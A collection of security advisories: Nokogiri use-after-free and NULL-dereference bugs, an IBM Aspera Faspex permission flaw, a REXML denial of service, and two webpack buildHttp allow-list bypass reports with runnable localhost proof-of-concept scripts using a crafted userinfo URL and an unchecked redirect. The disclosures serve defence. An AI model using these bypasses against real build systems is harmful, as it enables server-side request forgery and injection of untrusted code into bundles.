Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, XInclude substitution performed by Nokogiri::XML::Node#doxinclude replaced each <xi:include> in place, freeing the include node along with its children (such as <xi:fallback> and its descendants) and any namespaces declared on them. If an application had already exposed one of those nodes or namespaces to Ruby, the corresponding Ruby object was left pointing at freed memory. Using the object could result in invalid reads or writes to memory. This vulnerability is fixed in 1.19.4.

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri::XML::XPathContext did not keep its source document alive for garbage collection. If an XPathContext outlived its document and the document was collected, evaluating an XPath expression could read invalid memory and potentially segfault. This is only reachable when application code constructs an XPathContext directly and lets the document become unreachable while continuing to use the context. The normal Document#xpath, #css, and related search methods are not affected, and it is not triggerable by malicious document input. This vulnerability is fixed in 1.19.4.

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri::XML::Document#root= validated only that the new root was a Nokogiri::XML::Node, allowing a DTD node to be set as the document root. The result is a heap use-after-free during garbage collection or finalization, leading to an invalid memory read or potentially a segfault. This vulnerability is fixed in 1.19.4.

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri’s CRuby native extension could leave a Ruby wrapper pointing to freed memory when replacing the value of an XML attribute. If Ruby code had already accessed an attribute child node, Nokogiri::XML::Attr#value= could free the underlying native child node while the wrapper remained reachable through the document node cache. A later use of the freed child node or a Ruby GC mark could dereference an invalid pointer, causing an invalid read and a possible segfault. This vulnerability is fixed in 1.19.4.

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node. This caused a NULL pointer dereference that could crash the process. This vulnerability is fixed in 1.19.4.

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, calling Document#encoding= with an invalid encoding (e.g., a non-string, or a string containing a null byte) raises an exception, but only after freeing the document's current encoding string without replacing it. The document is left referencing freed memory, so the next call to Document#encoding reads invalid memory, which can cause a segfault or leak freed bytes into a Ruby String. Affects the CRuby (libxml2) implementation only; JRuby is not affected. This vulnerability is fixed in 1.19.4.

Summary When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on: - webpack version: 5.104.0 - Node version: v18.19.1

Details Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL: - http://127.0.0.1:9000@127.0.0.1:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then: - Raw string check: crafted.startsWith("http://127.0.0.1:9000") → true - URL parsing (WHAT new URL() will contact): origin → http://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction: - Server logs showed the internal-only endpoint being fetched: - [internal] 200 /secret.js served (...) (observed multiple times) - Attacker-side build output showed: - the internal secret marker was present in the bundle - the internal secret marker was present in the buildHttp cache

<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />

PoC This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup bash mkdir split-userinfo-poc && cd split-userinfo-poc npm init -y npm i -D webpack webpack-cli

2) Create server.js js #!/usr/bin/env node "use strict";

const http = require("http");

const ALLOWEDPORT = 9000; // allowlisted-looking host const INTERNALPORT = 9100; // actual target if bypass succeeds

const secret = INTERNALONLYSECRET${Math.random().toString(16).slice(2)}; const internalPayload = // internal-only\n + export const secret = ${JSON.stringify(secret)};\n + export default "ok";\n;

function listen(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); }

(async () => { // "Allowed" host (should NOT be contacted if bypass works as intended) await listen(ALLOWEDPORT, (req, res) => { console.log([allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(export default "ALLOWEDHOSTWASHITUNEXPECTEDLY";\n); });

// Internal-only service (SSRF-like target) await listen(INTERNALPORT, (req, res) => { if (req.url === "/secret.js") { console.log([internal] 200 /secret.js served (secret=${secret})); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); return; } console.log([internal] 404 ${req.method} ${req.url}); res.statusCode = 404; res.end("not found"); });

console.log("\nServers up:"); console.log(- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWEDPORT}/); console.log(- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNALPORT}/secret.js); })();

2) Create server.js js #!/usr/bin/env node "use strict";

const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) { const out = []; let items; try { items = await fs.readdir(dir, { withFileTypes: true }); } catch { return out; } for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; }

async function fileContains(f, needle) { try { const buf = await fs.readFile(f); const s1 = buf.toString("utf8"); if (s1.includes(needle)) return true; const s2 = buf.toString("latin1"); return s2.includes(needle); } catch { return false; } }

(async () => { const webpackVersion = require("webpack/package.json").version;

const ALLOWEDPORT = 9000; const INTERNALPORT = 9100;

// NOTE: allowlist is intentionally specified without a trailing slash // to demonstrate the risk of raw string prefix checks. const allowedUri = http://127.0.0.1:${ALLOWEDPORT};

// Crafted URL using userinfo so that: // - The string begins with allowedUri // - The actual authority (host:port) after '@' is INTERNALPORT const crafted = http://127.0.0.1:${ALLOWEDPORT}@127.0.0.1:${INTERNALPORT}/secret.js; const parsed = new URL(crafted);

const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js");

await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true });

await fs.writeFile( path.join(srcDir, "index.js"), import { secret } from ${JSON.stringify(crafted)}; console.log("LEAKEDSECRET:", secret); export default secret; );

const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedUri], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } };

console.log("\n[ENV]"); console.log(- webpack version: ${webpackVersion}); console.log(- node version: ${process.version}); console.log(- allowedUris: ${JSON.stringify([allowedUri])});

console.log("\n[CRAFTED URL]"); console.log(- import specifier: ${crafted}); console.log(- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}); console.log(- WHAT URL() parses:); console.log( - username: ${JSON.stringify(parsed.username)} (userinfo)); console.log( - password: ${JSON.stringify(parsed.password)} (userinfo)); console.log( - hostname: ${parsed.hostname}); console.log( - port: ${parsed.port}); console.log( - origin: ${parsed.origin}); console.log( - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}");

const compiler = webpack(config);

compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true });

if (stats.hasErrors()) { console.error("\n[WEBPACK ERRORS]"); console.error(info.errors); process.exitCode = 1; return; }

const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNALONLYSECRET[0-9a-f]+/i); const foundSecret = m ? m[0] : null;

console.log("\n[RESULT]"); console.log(- temp dir: ${tmp}); console.log(- bundle: ${bundlePath}); console.log(- lockfile: ${lockfile}); console.log(- cacheDir: ${cacheDir});

console.log("\n[SECURITY CHECK]"); console.log(- bundle contains INTERNALONLYSECRET : ${fmtBool(!!foundSecret)});

if (foundSecret) { const lockHit = await fileContains(lockfile, foundSecret);

const cacheFiles = await walk(cacheDir); let cacheHit = false; for (const f of cacheFiles) { if (await fileContains(f, foundSecret)) { cacheHit = true; break; } }

console.log(- lockfile contains secret: ${fmtBool(lockHit)}); console.log(- cache contains secret: ${fmtBool(cacheHit)}); } } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })();

4) Run Terminal A: bash node server.js

Terminal B: bash node attacker.js

5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

Summary When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />

PoC This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup bash mkdir split-ssrf-poc && cd split-ssrf-poc npm init -y npm i -D webpack webpack-cli

2) Create server.js js #!/usr/bin/env node "use strict";

const http = require("http"); const url = require("url");

const allowedPort = 9000; const internalPort = 9100;

const internalUrlDefault = http://127.0.0.1:${internalPort}/secret.js; const secret = INTERNALONLYSECRET${Math.random().toString(16).slice(2)}; const internalPayload = export const secret = ${JSON.stringify(secret)};\n + export default "ok";\n;

function start(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); }

(async () => { // Internal-only service (SSRF target) await start(internalPort, (req, res) => { if (req.url === "/secret.js") { res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); console.log([internal] 200 /secret.js served (secret=${secret})); return; } res.statusCode = 404; res.end("not found"); });

// Allowed host (redirector) await start(allowedPort, (req, res) => { const parsed = url.parse(req.url, true);

if (parsed.pathname === "/redirect.js") { const to = parsed.query.to || internalUrlDefault;

// Safety guard: only allow redirecting to localhost internal service in this PoC if (!to.startsWith(http://127.0.0.1:${internalPort}/)) { res.statusCode = 400; res.end("to must be internal-only in this PoC"); console.log([allowed] blocked redirect to: ${to}); return; }

res.statusCode = 302; res.setHeader("Location", to); res.end("redirecting"); console.log([allowed] 302 /redirect.js -> ${to}); return; }

res.statusCode = 404; res.end("not found"); });

console.log(\nServer running:); console.log(- allowed host: http://127.0.0.1:${allowedPort}/redirect.js); console.log(- internal-only: http://127.0.0.1:${internalPort}/secret.js); })();

3) Create attacker.js js #!/usr/bin/env node "use strict";

const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); const webpackPkg = require("webpack/package.json");

const allowedPort = 9000; const internalPort = 9100;

const allowedBase = http://127.0.0.1:${allowedPort}/; const internalTarget = http://127.0.0.1:${internalPort}/secret.js; const entryUrl = ${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)};

async function walk(dir) { const out = []; const items = await fs.readdir(dir, { withFileTypes: true }); for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; }

async function fileContains(f, needle) { try { const buf = await fs.readFile(f); return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle); } catch { return false; } }

async function findInFiles(files, needle) { const hits = []; for (const f of files) if (await fileContains(f, needle)) hits.push(f); return hits; }

const fmtBool = b => (b ? "✅" : "❌");

(async () => { const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js");

await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true });

await fs.writeFile( path.join(srcDir, "index.js"), import { secret } from ${JSON.stringify(entryUrl)}; console.log("LEAKEDSECRET:", secret); export default secret; );

const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedBase], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } };

const compiler = webpack(config);

compiler.run(async (err, stats) => { try { if (err) throw err;

const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error(info.errors); process.exitCode = 1; return; }

const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNALONLYSECRET[0-9a-f]+/i); const secret = m ? m[0] : null;

console.log("\n[ATTACKER RESULT]"); console.log(- webpack version: ${webpackPkg.version}); console.log(- node version: ${process.version}); console.log(- allowedUris: ${JSON.stringify([allowedBase])}); console.log(- imported URL (allowed only): ${entryUrl}); console.log(- temp dir: ${tmp}); console.log(- lockfile: ${lockfile}); console.log(- cacheDir: ${cacheDir}); console.log(- bundle: ${bundlePath});

if (!secret) { console.log("\n[SECURITY SUMMARY]"); console.log(- bundle contains internal secret marker: ${fmtBool(false)}); return; }

const lockHit = await fileContains(lockfile, secret);

let cacheFiles = []; try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; } const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;

const allTmpFiles = await walk(tmp); const allHits = await findInFiles(allTmpFiles, secret);

console.log(\n- extracted secret marker from bundle: ${secret});

console.log("\n[SECURITY SUMMARY]"); console.log(- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)); console.log(- Internal target (SSRF-like): ${internalTarget}); console.log(- EXPECTED: internal target should be BLOCKED by allowedUris); console.log(- ACTUAL: internal content treated as module and bundled);

console.log("\n[EVIDENCE CHECKLIST]"); console.log(- bundle contains secret: ${fmtBool(true)}); console.log(- cache contains secret: ${fmtBool(cacheHit)}); console.log(- lockfile contains secret: ${fmtBool(lockHit)});

console.log("\n[PERSISTENCE CHECK] files containing secret"); for (const f of allHits.slice(0, 30)) console.log(- ${f}); if (allHits.length > 30) console.log(- ... and ${allHits.length - 30} more); } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })();

4) Run Terminal A: bash node server.js

Terminal B: bash node attacker.js

5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 may allow inconsistent permissions between the user interface and backend API allowed users to access features that appeared disabled, potentially leading to misuse.

Impact

The REXML gems from 3.3.3 to 3.4.1 have a DoS vulnerability when parsing XML containing multiple XML declarations. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.

Patches

REXML gems 3.4.2 or later include the patches to fix these vulnerabilities.

Workarounds

Don't parse untrusted XMLs.

References

https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767/ : An announcement on www.ruby-lang.org